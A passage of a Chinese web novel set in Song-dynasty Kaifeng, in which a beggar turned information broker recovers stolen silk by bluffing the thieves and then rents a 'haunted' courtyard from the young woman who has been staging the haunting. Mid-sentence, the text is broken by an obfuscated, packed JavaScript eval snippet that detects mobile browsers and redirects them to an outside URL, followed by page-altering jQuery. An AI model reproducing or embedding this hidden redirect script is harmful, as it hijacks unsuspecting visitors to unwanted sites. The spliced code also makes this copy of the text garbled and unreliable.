九个人的汇报结束,萧北翊把他们收集到的消息在脑子里过了一遍。 有用的一条,是钱串子提供的那个枢密院的消息。这条消息现在还不能变现,但可以作为赤羽的“储备粮”——等将来有机会了,它能卖个好价钱。 能马上变现的,一条都没有。 萧北翊有些头疼。赤羽现在最大的问题是——没有收入。九个人虽然现在不跟他要工钱,但总不能让人家一直饿着肚子干活。刘二还好,他有搬运工的活儿,勉强能糊口。但其他八个人,有的已经三天没吃一顿饱饭了。 他需要一个能快速赚钱的门路。 萧北翊蹲在柴房里,把原主记忆中的所有信息翻了一遍,又结合现代的历史知识,开始在脑海中搜索“北宋东京城的赚钱机会”。 酒楼茶肆?没本钱。布匹粮食?没门路。给人当账房先生?他倒是能干,但一个乞丐突然跑去给人算账,正常人都不敢用。 除非—— “萧哥!萧哥!”赵大锤的声音从院子外面传来,打断了他的思路。 萧北翊站起来,走到院门口,就看见赵大锤气喘吁吁地跑过来,手里举着一张告示。 “萧哥你看这个!”赵大锤把告示往萧北翊手里一塞,兴奋得像捡了钱,“官府的悬赏告示!城东马行街的‘周记布庄’被盗了,悬赏十两银子找线索!” 萧北翊接过告示,扫了一眼。 告示上写得很简单:周记布庄昨夜被盗,丢失上等蜀锦十匹、细绢二十匹,另有散碎银两若干。店主周世昌悬赏十两银子,征集有效线索。 十两银子。萧北翊在心里快速换算了一下——北宋的十两银子,够一个普通人家吃半年的。 “你想去领赏?”萧北翊看着赵大锤。 赵大锤嘿嘿一笑:“萧哥,你不是说咱们要做消息买卖吗?找线索不就是消息买卖?” 萧北翊愣了一下,随即笑了起来。这铁匠学徒脑子倒是转得快。 “走,”萧北翊把告示叠好揣进怀里,“去看看。” 周记布庄在马行街中段,是个不小的铺面,两间门面,后面带一个院子。萧北翊到的时候,铺子门口围了不少人,都是看热闹的。 一个四十来岁的胖子站在门口,急得满头大汗,正跟一个穿皂衣的衙役说话。那胖子应该就是店主周世昌,圆脸,小眼睛,穿着一件锦缎袍子,腰间的玉佩在阳光下晃得人眼疼。 萧北翊没急着凑上去。他蹲在对面的墙根下,开始观察。 布庄的门窗完好,没有被撬的痕迹——这说明盗贼要么是用了钥匙,要么是从别的地方进去的。告示上说丢了十匹蜀锦和二十匹细绢,这些货体积不小,一个人搬不动,至少需要两个人,而且得有车。 萧北翊的目光扫过布庄旁边的巷子——巷子不宽,但能过一辆独轮车。巷子口的地面上有几道深深的车辙印,但车辙印很乱,分不清哪些是新的哪些是旧的。 他注意到一个细节:巷子的墙根下,有一个歪倒的竹篓,竹篓旁边散落着几根麻绳。麻绳的切口很整齐,像是被刀割断的,而不是被扯断的。 萧北翊的眼睛眯了起来。 他又看了一会儿,然后站起来,走到布庄门口。 “这位阿郎,”萧北翊朝周世昌拱了拱手,“小子想问一句,贵铺的货,是从哪儿进的?” 周世昌正心烦意乱,不耐烦地挥了挥手:“去去去,一个花子凑什么热闹。” 萧北翊也不恼,笑了笑,从怀里掏出那份告示,在周世昌面前晃了晃:“阿郎悬赏十两银子找线索,小子要是能给阿郎找到货,这十两银子,算不算数?” 周世昌上下打量了他一眼,目光中满是怀疑:“就凭你?” “就凭我。”萧北翊说,“阿郎先把悬赏说清楚,小子才好办事。” 那个皂衣衙役也看了过来,眼神里带着几分好笑。 周世昌犹豫了一下,大概是病急乱投医,还是点了头:“你要是真能帮我找到货,十两银子一分不少。但你要是消遣我——” “小子不敢。”萧北翊说完,转身走到对面的墙根下,又蹲了下来。赵大锤跟过来,小声问:“萧哥,你真能找到?” 萧北翊没回答,而是问:“大锤,你在城北待了几天,认不认识城北那边收赃的?” 赵大锤一愣:“收赃的?” “就是那种——不问货从哪里来,低价收,高价卖的人。” 赵大锤想了想,挠了挠头:“城北有个‘刘三麻子’,据说干这个。但我不认识他,只是听说过。” “好,”萧北翊站起来,“咱们先去城北看看。” 城北的“刘三麻子”,其实不叫刘三麻子。他姓刘,排行老三,因为脸上有几颗麻子,所以得了这么个外号。刘三麻子在城北开了一家不起眼的当铺,表面上做正经生意,暗地里什么都收——来路不明的货、偷来的赃物,只要价格够低,他来者不拒。 萧北翊没直接去找刘三麻子。他让赵大锤带路,在那家当铺对面的茶摊上坐下来,花了两文钱买了两碗茶,一边喝一边观察。 当铺的生意不怎么样,半天没人进去。偶尔有人进去,也是很快就出来,脸上带着那种“被宰了”的表情。 萧北翊注意到一个细节——当铺的侧门开着一条缝,里面有人在说话。他把耳朵竖起来,隐约听见几个字:“……布……晚了……” “走,”萧北翊放下茶碗,“有门儿。” 赵大锤一头雾水:“啥门儿?” “进去你就知道了。” 萧北翊带着赵大锤走进了当铺。 当铺里光线昏暗,一个瘦高个儿的男人坐在柜台后面,手里拿着一把算盘,正噼里啪啦地打着。他脸上确实有几颗麻子,但不多,不仔细看根本看不出来。 “当什么?”刘三麻子头也不抬,声音懒洋洋的。 萧北翊把一块碎银子放在柜台上。不是范仲淹给的那块——那块他已经花得差不多了,这是他从刘二那里借的。 刘三麻子眼睛一亮,抬头看了他一眼,然后又皱了皱眉:“你一个花子,哪来的银子?” “阿郎别管银子是哪来的,”萧北翊笑了笑,“小子想跟阿郎打听一件事。” “打听事?”刘三麻子的目光在萧北翊和赵大锤之间扫了扫,“我这儿是当铺,不是茶楼。打听事去别处。” 萧北翊又把银子往前推了推:“阿郎别急着赶人,先听听小子打听什么。” 刘三麻子看了看银子,又看了看萧北翊,最终还是把银子收了,下巴一抬:“说。” “马行街的周记布庄昨夜被盗。阿郎见多识广,可曾听说城北有谁在卖这些东西?” 刘三麻子的脸色微变。 “你什么意思?”他的声音冷了下来,“你是说是我干的?” “小子不敢,”萧北翊不慌不忙,“阿郎是做正经生意的,怎么会做那种事?但阿郎在城北经营多年,认识的人多,耳目灵通。如果有人拿着赃物来卖,阿郎不可能不知道。小子只是想请阿郎指点一条路——谁在卖这批货?小子找到货,领了赏银,自然少不了阿郎的好处。” 刘三麻子盯着他看了好一会儿,似乎在掂量这个乞丐的分量。 过了片刻,他忽然笑了:“你倒是会说话。” 他站起来,走到侧门处,探出头看了看外面,然后回来,压低声音:“昨天晚上,确实有人来问过我。两个后生,面生,推着一辆独轮车,上面盖着油布。他们问我收不收布匹,我说不收,他们就走了。” “往哪个方向去了?” “往北。出了城北的‘安远门’。” 萧北翊拱手道谢,带着赵大锤出了当铺。 赵大锤一脸佩服:“萧哥,你怎么知道是刘三麻子?” “我不知道,”萧北翊说,“我只是来碰碰运气。做贼的人偷了东西,第一件事就是想怎么出手。城北是东京城最乱的地方,收赃的人多半在这一片。刘三麻子名气最大,先从他问起。” “那咱们现在去哪儿?” “安远门外。”萧北翊说,“那两个后生推着独轮车出了城,货一定藏在城外某个地方。咱们得在天黑之前找到。” 安远门是东京城北边的一个城门,出了门就是官道,两边是大片的农田和村落。 萧北翊和赵大锤沿着官道走了约莫两里地,在路边发现了一个破旧的土地庙。土地庙不大,只有一间屋子,门板已经烂了一半,里面黑洞洞的。 萧北翊蹲下来,在庙门口的地面上发现了独轮车的车辙印。车辙印很深,说明车上装的东西不轻。 “在这儿。”萧北翊压低声音,冲赵大锤招了招手。 两人悄悄摸进土地庙。 庙里空荡荡的,只有一尊没了头的土地像。但庙的后墙处,堆着一堆用油布盖着的东西。萧北翊掀开油布一角——果然是布匹,蜀锦的花纹在昏暗的光线下依然艳丽夺目。 “找到了!”赵大锤兴奋得差点喊出来。 “别急。”萧北翊按住他,“货在这儿,人肯定也在附近。那两个贼不会把货扔在这儿不管。” 话音刚落,外面传来脚步声。 萧北翊拉着赵大锤闪到土地像后面,两人蹲下来,大气都不敢出。 两个脚步声走近了,一个粗哑的声音说:“娘的,这鬼天气,冷死老子了。” 另一个年轻些的声音说:“哥,咱们什么时候把货运走?放在这儿我总不放心。” “急什么?明天晚上找辆车,拉到陈州去卖。东京城里查得严,陈州那边没人认识这批货。” 萧北翊在土地像后面听得清清楚楚。他拍了拍赵大锤的肩膀,在他耳边小声说了几句。 赵大锤点了点头,从土地像后面站起来,大步走了出去。 “两位大哥,”赵大锤憨厚地笑着,“这是你们的货?” 两个贼吓了一跳,年纪大的那个——三十来岁,脸上有一道疤——下意识地摸向腰间。但他腰间没有刀,只有一根绳子。 “你是谁?”刀疤脸警惕地看着赵大锤。 “我?”赵大锤挠了挠头,“我是过路的,看见这庙里有东西,过来看看。” “走开,不关你的事。”刀疤脸的语气不善。 “怎么不关我的事?”赵大锤不走了,一屁股坐在油布上,“你们偷了周记布庄的货,害得我萧哥帮人找线索。我萧哥说了,找到货有十两银子的赏钱。你们把这货还回去,我萧哥拿了赏钱,分你们一半,怎么样?” 两个贼面面相觑。 萧北翊从土地像后面走出来,拍了拍身上的灰,站到赵大锤旁边。 “两位,”萧北翊笑眯眯地说,“你们偷了东西,是要吃官司的。但要是主动归还,我可以替你们跟周掌柜说情,不追究你们的责任。而且我刚才说了,赏银分你们一半——五两银子,够你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650293|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们俩花一阵子了。” 刀疤脸犹豫了一下。 年轻的那个已经动了心:“哥,要不……” “闭嘴!”刀疤脸瞪了他一眼,转向萧北翊,“你算什么东西?一个花子,也配跟老子谈条件?” 萧北翊叹了口气。 他最怕遇到这种不讲道理的人。因为他的武力值为零,真要动起手来,他和赵大锤加一起都不一定打得过这两个贼。 但萧北翊有脑子。 “这位大哥,”萧北翊不紧不慢地说,“你知道周记布庄的周掌柜是什么人吗?” “什么人?” “周掌柜的小舅子,是禁军的一个指挥使。你要是偷了别家的东西,也许还能跑。但你偷了禁军指挥使亲戚的东西——你觉得你能跑到哪儿去?” 刀疤脸的脸色变了。 他不知道萧北翊在胡说八道——周世昌有没有小舅子、小舅子是不是禁军指挥使,萧北翊一概不知。但这两个贼不知道他不知道,所以这个谎撒得理直气壮。 “你……你骗人。”刀疤脸的声音已经没那么硬了。 “骗你干什么?”萧北翊耸了耸肩,“不信你可以打听打听。马行街谁不知道周掌柜的小舅子在禁军当差?你们偷谁家不好,偏偏偷他家,这不是老寿星上吊——嫌命长吗?” 刀疤脸和年轻贼对视了一眼,都从对方眼中看到了恐惧。 “而且,”萧北翊趁热打铁,“枢密院已经知道了这件事,正派人查呢。你们要是现在归还,还能算个‘主动投案’。等官府的人找到你们——那就不是五两银子能解决的事了。” 刀疤脸彻底蔫了。 “你……你说的是真的?” “你信也好,不信也罢,”萧北翊转身往外走,“我话已经带到了。货还还是不还,你们自己决定。不过我提醒你们一句——枢密院的人,最迟明天就到。” 他走了出去,头也不回。 赵大锤赶紧跟上。 两人走出去老远,赵大锤才小声问:“萧哥,枢密院真的在查?” “枢密院的人每天在茶楼喝茶,哪有空管这个。”萧北翊笑了,“我吓唬他们的。” “那周掌柜的小舅子呢?” “我瞎编的。” 赵大锤瞪大了眼睛,半天才憋出一句:“萧哥,你胆子真大。” “这叫兵不厌诈。”萧北翊拍了拍他的肩膀,“记住了,在江湖上混,拳头不够硬的时候,嘴皮子就得够硬。” 第二天一早,周记布庄的周世昌在门口发现了一堆用油布包着的布匹——十匹蜀锦,二十匹细绢,一样不少。 布匹旁边还压着一张纸条,上面歪歪扭扭地写着几个字: “还回来了,别追究。” 周世昌又惊又喜,赶紧让伙计把货搬进去,然后满大街找那个乞丐。 萧北翊没让他找,自己溜溜达达地来了。 “周掌柜,”萧北翊笑眯眯地拱手,“货回来了吧?” 周世昌看着他,愣了好一会儿,然后从袖子里摸出一锭银子,塞到萧北翊手里:“小兄弟,你是怎么办到的?” “天机不可泄露。”萧北翊把银子揣进怀里,掂了掂分量——足十两,一分不少。 “小兄弟,你叫什么名字?日后好找你。” “小子姓萧,名北翊,字子翼。周掌柜以后要是有什么事需要帮忙,尽管来甜水巷找王隐之道长,小子住他那儿。” 周世昌连连点头,又塞了一块碎银子过来:“这个你拿着买酒喝。” 萧北翊推辞了一下,还是收下了。不是他贪财,而是他要让周世昌觉得欠他一个人情。在这个时代,人情就是钱,有时候比钱还值钱。 回到甜水巷,萧北翊把九个人都叫了过来。 他把那锭十两银子放在地上,九个人的眼睛都亮了。 “第一单生意,”萧北翊说,“赚了十两。” 赵大锤第一个跳起来:“萧哥威武!” 钱串子已经开始盘算了:“十两银子,九个人分,每人——” “谁说要分了?”萧北翊打断他,“这钱不分。” 院子里的气氛一下子冷了。 萧北翊看着他们一个个从兴奋变成失望,心里觉得好笑,但脸上不动声色。 “这十两银子,是赤羽的本钱。”萧北翊说,“咱们要用这笔钱做两件事。第一,租一个隐蔽的据点,不能总在王道长这儿,人家还得清修呢。第二,给每个人置办一套干净衣裳,再置办一些基本的工具——纸、笔、绳子、锁,各有用处。” 阿九第一个反应过来:“萧哥的意思是——咱们要用这笔钱赚更多的钱?” “聪明。”萧北翊竖起大拇指,“十两银子分了,一人一两,能干什么?买几顿饱饭,吃完了又得饿肚子。但要是用这十两银子做本钱,让赤羽运转起来,以后赚的就是一百两、一千两。” 刘二点了点头:“这话在理。在边军的时候,粮草官就是这么干的——把粮草集中调配,比分散给各营更管用。” 钱串子虽然心疼分不到钱,但也不得不承认萧北翊说得有道理。 “那萧哥,”赵大锤问,“咱们接下来干什么?” 萧北翊想了想:“接下来,我负责找生意。你们负责——练。” “练什么?” “练眼力,练耳力,练嘴皮子。”萧北翊掰着手指头数,“大锤,你嘴笨,多跟钱串子学学怎么说话。钱串子,你胆子小,多跟刘二学学怎么壮胆。阿九,你是唯一识字的,以后负责记录消息,字要练得更快更工整。孙驼子,你继续在城南蹲着,但别只蹲一个地方,多走动。” 孙驼子吐了口烟圈:“老婆子这把老骨头,走不动了。” “走不动也得走,”萧北翊笑了,“等赤羽赚了大钱,我给你雇顶轿子,抬着你走。” 院子里响起一片笑声。 这是赤羽成立以来,第一次有了“家”的感觉。 萧北翊看着这群衣衫褴褛的乞丐,心里涌起一股奇怪的情绪。这些人,在现代社会可能是街头流浪汉、是边缘人、是被社会遗忘的存在。但在这个时代,他们是他的第一批战友,是赤羽的第一块基石。 “好了,”萧北翊拍了拍手,“散了吧。明天卯时,还是这儿,准时到。” 九个人陆续离开。阿九走在最后,走到院门口的时候忽然回头,看了萧北翊一眼。 “萧哥,”她说,“你今天编的那个‘周掌柜小舅子是禁军指挥使’的故事,挺有意思的。” 萧北翊一愣:“你怎么知道是编的?” 阿九嘴角微微上扬:“因为我昨天去了周记布庄,跟周掌柜的伙计聊过。周掌柜根本没有小舅子。” 萧北翊:“……” “赵大锤回来就跟我说了。”阿九说,“萧哥,你是个聪明人,但我也不笨。赤羽要想做大,不能只有你一个人聪明。” 她转身走了,留下萧北翊一个人站在院子里发呆。 王隐之不知道什么时候从正屋里出来了,端着一杯茶,笑眯眯地看着他。 “子翼,这小丫头有意思吧?” 萧北翊苦笑了一声:“有意思。有意思得让我有点害怕。” “怕什么?” “怕她哪天把我的位置给抢了。” 王隐之哈哈大笑:“那也是你活该。” 当天夜里,萧北翊躺在柴房的稻草堆上,把那十两银子从怀里掏出来,在月光下看了又看。 十两银子,赤羽的第一桶金。 不是靠偷,不是靠抢,不是靠坑蒙拐骗,而是靠脑子赚来的。这种感觉,比他想象的要好。 他把银子藏好,双手枕在脑后,看着头顶的屋梁。 赤羽的第一步,迈出去了。虽然很小,但方向是对的。 接下来,他要做的是——让赤羽的羽翼,覆盖整个东京城。 窗外,月光如水,照在甜水巷的青石板路上,明晃晃的,像一条铺满银子的路。 萧北翊闭上眼睛,嘴角带着一丝笑意,沉沉睡去。 4. 第四章 城西有个南姑娘 十两银子在手里还没捂热,萧北翊就开始琢磨怎么花。 不是他不想存钱,而是赤羽这摊子事,不往里砸钱就转不起来。九个骨干到现在连个正经碰头的地方都没有,天天挤在王隐之的院子里,老道士嘴上不说,心里怕是早就不耐烦了。 “得找个据点。”萧北翊蹲在柴房里,掰着手指头跟刘二算账,“地方不用大,能容下十来个人开会就行。但要隐蔽,不能临街,最好是那种拐几个弯才找得到的巷子深处。” 刘二吸了吸鼻子:“城东有条葫芦巷,里头有个空院子,原先住着一个卖馄饨的老头,上个月死了,院子一直空着。我去看过,三间北房,带个小院子,够用了。租金嘛——一个月三百文。” “三百文?”萧北翊皱眉,“太贵了。东京城一间普通的房子,月租也就二百文出头。一个死过人的空院子,凭什么要三百文?” 刘二难得露出一丝尴尬:“因为……那院子闹鬼。” 萧北翊:“……” “所以租金才便宜。”刘二赶紧补充,“原本那老头活着的时候租给别人,要五百文呢。自从他死了,院子里闹了几回鬼,就没人敢租了。房主急着出手,三百文是底价。” “闹什么鬼?” “说是半夜能听见哭声,还有白影飘来飘去。”刘二的刀疤脸在昏暗的柴房里显得有些诡异,“我特意去打听过,住那院子附近的人都说见过。有个卖馄饨的婆子说,有一天半夜起来上厕所,看见那院子里有个穿白衣的女人在井边梳头,头发长得拖到地上。” 萧北翊听完,沉默了三秒钟,然后笑了。 “走,去看看。” 葫芦巷在城东偏南的位置,从马行街拐进去,穿过三条窄巷子,再过一个石板桥,就到了。这地方确实够隐蔽,别说外人,就是在东京城住了几十年的老人,也不一定知道这条巷子。 院子不大,一扇褪了色的木门虚掩着。萧北翊推门进去,院子里长满了齐腰高的荒草,三间北房的门窗上糊的纸早就烂了,露出黑洞洞的屋子。 “就这儿?”萧北翊转了一圈,在院子中间站定。 刘二点头:“就这儿。” 萧北翊蹲下来,捏了一把土,又站起来看了看屋顶,最后走进北房转了一圈,出来的时候脸上带着满意的表情。 “租了。” 刘二一愣:“子翼,你不怕闹鬼?” 萧北翊拍了拍手上的灰:“刘二哥,你在边军待了七年,见过死人没有?” “见过。多了去了。” “那你怕鬼吗?” 刘二犹豫了一下:“不怕。但这事儿邪门,院子里确实有人见过——” “见过就对了。”萧北翊打断他,“有人见过,说明这‘鬼’是有人假扮的。你想啊,一个院子闹鬼,租金就便宜了。房主急着出手,三百文就能租下来。是谁最希望这个院子一直空着、没人来住?” 刘二想了想:“假扮鬼的人。” “对。”萧北翊竖起一根手指,“假扮鬼的人不想让任何人住进来。为什么?要么是这院子里藏着什么东西,要么是这院子连着什么见不得人的勾当。不管哪一种,咱们住进来,就有机会搞清楚。搞清楚了,要么能赚一笔,要么能抓一个把柄。三百文的租金,值了。” 刘二看着他的眼神变了——从将信将疑变成了几分佩服。 “子翼,你这脑子是怎么长的?” “多读书。”萧北翊笑眯眯地说。 租院子的事就这么定了。萧北翊没急着搬进去,而是先让刘二找了几个胆大的兄弟,连着三个晚上蹲在院子外面,看看这“鬼”到底是什么来头。 第一个晚上,什么也没发生。 第二个晚上,什么也没发生。 第三个晚上,出事了。 来报信的是赵大锤。这铁匠学徒半夜三更跑回甜水巷,把萧北翊从柴房里拽起来,脸上的表情介于兴奋和惊恐之间。 “萧哥!来了!那个白影子!” 萧北翊披上棉袄,跟着赵大锤摸黑往葫芦巷跑。到了院子外面,刘二已经蹲在巷口的阴影里,手里握着一根木棍,眼睛死死盯着院门。 “在里面?”萧北翊压低声音问。 刘二点头:“进去约莫一刻钟了。我没打草惊蛇,等你来。” 萧北翊趴在墙根下,耳朵贴着墙听了听。院子里确实有动静——很轻的脚步声,还有什么东西在地上拖拽的声音。 “走,进去看看。”萧北翊站起来。 刘二拦住他:“万一有危险——” “有危险你上。”萧北翊理直气壮,“我又不会打架。” 刘二无语地看了他一眼,握紧木棍,一脚踹开了院门。 院子里,月光下站着一个白衣人影。 那是一个女人,穿着一件白色的长裙,头发披散着,遮住了大半张脸。她手里提着一盏小灯笼,灯笼的光映在她脸上,惨白惨白的。 “你是什么人?”刘二举着木棍,厉声喝问。 那女人抬起头,拨开脸上的头发,露出一张年轻的脸——不算特别漂亮,但五官端正,一双眼睛又黑又亮,在月光下像是两颗黑宝石。 “你们又是什么人?”女人的声音不大,但很稳,没有一丝慌乱。 萧北翊从刘二身后探出头来,上下打量了她一番,忽然笑了。 “南姑娘,大半夜的不在家睡觉,跑到这荒院子里扮鬼,不冷吗?” 女人的瞳孔微微缩了一下。 “你认识我?” “不认识。”萧北翊从阴影里走出来,双手插在袖子里,笑眯眯地说,“但我猜的。你穿的白裙子是上好的越罗,这种料子东京城没几家铺子卖得起。你的头发虽然披散着,但发梢修剪得很整齐,用的是剪刀而不是剃刀——说明你不是落魄之人。你的手上没有茧子,指甲修剪得干干净净,不是干粗活的手。一个不干粗活的年轻姑娘,大半夜穿着好衣裳在荒院子里扮鬼,要么是为了吓人,要么是在等人。我猜,你是后者。” 女人盯着他看了好一会儿,然后嘴角微微上扬。 “你就是那个萧子翼?” 这回轮到萧北翊愣住了:“你认识我?” “不认识。”女人学着他的语气说,“但我猜的。最近东京城里冒出一个叫花子,帮周记布庄找回了被盗的货,赚了十两银子赏钱。这事传得很快,该知道的人都知道了。我一看你这副模样——穿着破棉袄、满身土气、说话带河北口音、身边跟着一个刀疤脸大汉——就知道是你。” 萧北翊回头看了刘二一眼,刘二面无表情。 “好吧,”萧北翊转回来,“南姑娘,你还没回答我的问题——你在这院子里做什么?” 女人把灯笼举高了一些,月光下她的轮廓更加清晰。她大概十七八岁的年纪,身材高挑,站在那里像一棵不弯不折的竹子。 “这院子是我家的。”她说。 萧北翊一愣:“你家?你姓南,这院子的房主姓什么?” “姓南。”女人说,“南振邦。是我爹。” 萧北翊脑子转得飞快。南振邦?这个名字他没听过,但原主的记忆里似乎有一个模糊的印象——城南有一户姓南的人家,是做绸缎生意的,家境殷实,但几年前好像出了什么事,家道中落了。 “所以,”萧北翊试探着问,“闹鬼的事,是你干的?” 女人沉默了片刻,然后点了点头。 “为什么?” “因为这院子里有我要找的东西。”女人说,“我爹临终前告诉我,他在这个院子里藏了一样东西,关系到我们南家的清白。但他说完就咽气了,没来得及告诉我藏在哪儿。我翻遍了整个院子,没找到。后来房主要把这院子租出去,我怕别人住进来会找到那样东西,就想了这个办法——扮鬼,把人吓跑。” 萧北翊听完,沉默了几秒,然后笑了。 “南姑娘,你这办法倒是简单粗暴。但你有没有想过,你这样三天两头扮鬼,迟早会被人识破。到时候不但东西找不到,你自己还得吃官司——装神弄鬼,扰乱民居,按大宋律,杖八十。” 女人的脸色变了一变,但很快恢复了平静。 “那你说怎么办?” 萧北翊想了想,然后说了一句让刘二和赵大锤都没想到的话。 “你把院子租给我。我帮你找东西。找到了,东西归你;院子归我用。怎么样?” 女人盯着他看了好一会儿:“我凭什么信你?” “凭我是萧子翼。”萧北翊说,语气平淡,但带着一种不容置疑的自信,“凭我用三天时间找到了周记布庄的货。凭我身边这九个人——不对,加上你以后就是十个人——愿意跟着我一个叫花子干。” 女人又沉默了。这一次沉默的时间更长。 院子里的荒草被夜风吹得沙沙作响,月亮在云层里时隐时现。 “南晚枫。”女人忽然说。 “什么?” “我的名字。南晚枫。”女人看着萧北翊,“你不是要租院子吗?一个月三百文,先付半年的。” 萧北翊笑了,从袖子里摸出那锭十两银子,在月光下晃了晃:“南姑娘,你看这银子,够不够付半年的?” 南晚枫看了一眼银子,又看了一眼萧北翊,嘴角微微上扬:“你倒是舍得。这十两银子,是你刚赚的吧?” “钱赚来就是为了花的。”萧北翊把银子抛给她,“花在该花的地方,就是好钱。” 南晚枫接过银子,掂了掂分量,然后从腰间解下一把钥匙,扔给萧北翊。 “北屋的钥匙。你要找什么随便找,找到了告诉我。找不到——租金不退。” 她说完,提着灯笼转身走了,白裙子在夜风中飘动,像一只白色的蝴蝶。 赵大锤看着她的背影,咽了咽口水:“萧哥,这姑娘真厉害。” 刘二也难得地评价了一句:“是个人物。” 萧北翊把钥匙揣进怀里,看着南晚枫消失在巷口的背影,若有所思。 南晚枫。南方的晚枫。 这名字,跟他的“北翊”倒是挺配的。 租下院子的第二天,萧北翊就让赤羽的九个人搬了进去。 三间北房,一间做会议室,一间做仓库,一间留给萧北翊住。院子里荒草被赵大锤带人割了个干净,露出下面平整的青砖地。窗户纸换了新的,门也修好了,虽然还是很破旧,但总算像个能住人的地方了。 萧北翊站在院子中间,环顾四周,心里涌起一股满足感。 赤羽,终于有了自己的窝。 “萧哥,”钱串子从北屋探出头来,手里拿着一本账册,“这院子的账怎么记?租金三百文一个月,咱们付了半年,一千八百文。加上买纸笔、修门窗、换窗纸,总共花了二两三钱银子。你那十两银子,现在还剩七两七钱。” 萧北翊点了点头:“记清楚就行。接下来要想办法赚钱了,不能坐吃山空。” “怎么赚?”钱串子问。 萧北翊想了想:“先不急着接大单。让兄弟们继续在各片区蹲着,收集消息,但不急着卖。咱们要先摸清楚东京城的消息市场——谁在买消息、谁在卖消息、什么消息值钱、什么消息不值钱。知己知彼,才能百战不殆。” “这话听着耳熟。”刘二从旁边走过来。 “孙子兵法说的。”萧北翊随口道。 刘二看了他一眼,没再说话。 接下来的半个月,赤羽的九个人像蚂蚁一样,在东京城的五个片区里钻来钻去,把每一条街道、每一个坊巷、每一座酒楼茶肆都摸了个遍。 萧北翊也没闲着。他每天早出晚归,以一个乞丐的身份游走在东京城的各个角落,用那双穿越了千年的眼睛,观察着这座城市的每一个细节。 他发现了一个有趣的现象——东京城的消息买卖,远比他想像的要发达。 城东的“悦来茶楼”,表面上是个喝茶的地方,实际上是消息贩子的集散地。每天下午,几个穿着体面但不够富贵的中年人会在二楼固定的位子上坐着,一边喝茶一边等人。来跟他们接头的人形形色色——有穿着锦袍的商人,有穿着皂衣的小吏,甚至有戴着帷帽的妇人。 城西的“孙家瓦舍”,后台老板是个叫“孙七爷”的人物,据说手眼通天,黑白两道都吃得开。他手里掌握着整个城西的消息网络,不管是官府的动向还是商家的内幕,只要出得起价,他都能搞到。 城南的相国寺,每到初一十五,人山人海。这种时候,消息的流通量最大——但也是最杂的,真真假假,难以分辨。 城北因为是贫民区,消息的价值最低,但数量最多。在这里,花几文钱就能打听到一大堆八卦,但真正有用的信息,往往藏在这些八卦里,需要有心人去挖掘。 至于城中——那是权贵聚集的地方,也是消息买卖最危险的地方。能在城中做消息买卖的,都不是一般人。 萧北翊把这些观察一一记在心里,画成了一张详细的消息市场地图。 “赤羽要想活下去,”他在一次会议上对九个人说,“不能跟孙七爷那些人硬碰硬。他们有根基、有人脉、有本钱,咱们没有。咱们的优势是什么?” 九个人面面相觑。 “是咱们的身份。”萧北翊说,“咱们是乞丐。乞丐在这个城里是最不起眼的存在。没有人会防着一个乞丐,没有人会在意一个乞丐听见了什么、看见了什么。这就是赤羽最大的优势——咱们不是在做消息买卖,咱们只是在讨饭的时候,顺便听了几个故事。” 阿九最先反应过来:“萧哥的意思是——让兄弟们继续以乞丐的身份活动,不暴露赤羽的存在?” “对。”萧北翊点头,“赤羽这个名字,暂时只有咱们十个人知道。在外面,你们还是你们——赵大锤是个被打断了腿的铁匠学徒,钱串子是个落魄的账房先生,孙驼子是个快死了的老乞丐。咱们不主动卖消息,等人来找咱们。” “等人来找?”赵大锤挠头,“谁会来找一群叫花子?” 萧北翊笑了:“会有的。等他们发现,叫花子知道的事情比他们想像的多得多,自然会来找。” 事实证明,萧北翊的判断是对的。 第一个找上门来的,是周世昌。 那天下午,萧北翊正在院子里教阿九记账——这丫头的字写得歪歪扭扭,但脑子好使,教一遍就会——周世昌提着一盒点心,气喘吁吁地推门进来了。 “萧小兄弟!子翼!可算找到你了!” 萧北翊放下手里的竹笔,站起来拱手:“周掌柜,什么风把你吹来了?” 周世昌把点心往石桌上一放,一屁股坐在石凳上,脸上的表情又焦急又兴奋。 “子翼,你得帮我一个忙。” “周掌柜请讲。” 周世昌左右看了看,压低声音:“我怀疑有人要搞我。” 萧北翊眉梢一挑:“怎么说?” “前天,我铺子里来了一伙人,说是要订一批蜀锦,数量大,出价高。我当时高兴坏了,当场就答应了。结果昨天,我又来了一伙人,也是要订蜀锦,数量更大,出价更高。我觉得不对劲——东京城的蜀锦生意一直不温不火,怎么突然冒出两拨大客户?” 萧北翊点了点头:“然后呢?” “然后我去打听了一下,发现这两拨人根本不是做布匹生意的。第一拨人背后是一个姓王的商人,第二拨人背后是一个姓李的商人。这两个人,平时八竿子打不着,但最近都跟一个人走得很近——” “谁?” “程家的一个管事。”周世昌说,声音压得极低,“程家,就是当朝枢密使程无咎程相公的那个程家。” 萧北翊的眼睛微微眯了起来。 程无咎。这个名字,他在原主的记忆碎片里见过——不,不是原主的记忆,是他自己在现代读宋史时记住的名字。程无咎,真宗朝后期到仁宗朝前期的权臣,以善于揣摩上意著称,但为人阴险,手段狠辣,是王钦若之后朝中最大的奸臣。 “程家的人为什么要搞你?”萧北翊问。 周世昌苦着脸:“我也不知道啊!我跟程家八竿子打不着,平时连他们家的门朝哪儿开都不知道。” 萧北翊沉吟片刻,忽然问:“周掌柜,你最近是不是得罪过什么人?” 周世昌想了想,摇头:“没有啊。我这人做生意最讲和气,从来不跟人红脸。” “那你的布庄,最近是不是挡了谁的财路?” 周世昌又想了想,脸色忽然变了。 “你这一说……我想起来了。上个月,马行街新开了一家布庄,叫‘瑞锦坊’。东家姓钱,据说是从南方来的,背后有大老板撑腰。自从瑞锦坊开了之后,我的生意就淡了不少。但那也是没办法的事,人家货好价低,我竞争不过,认栽就是了。” 萧北翊的手指在石桌上敲了敲,脑子飞速运转。 “周掌柜,你知不知道那个瑞锦坊的幕后老板是谁?” 周世昌摇头:“不知道。钱掌柜嘴巴很严,从来不提。” 萧北翊站起来,在院子里踱了两圈,然后回头对周世昌说:“周掌柜,这个忙我帮了。但你得答应我两件事。” “你说!” 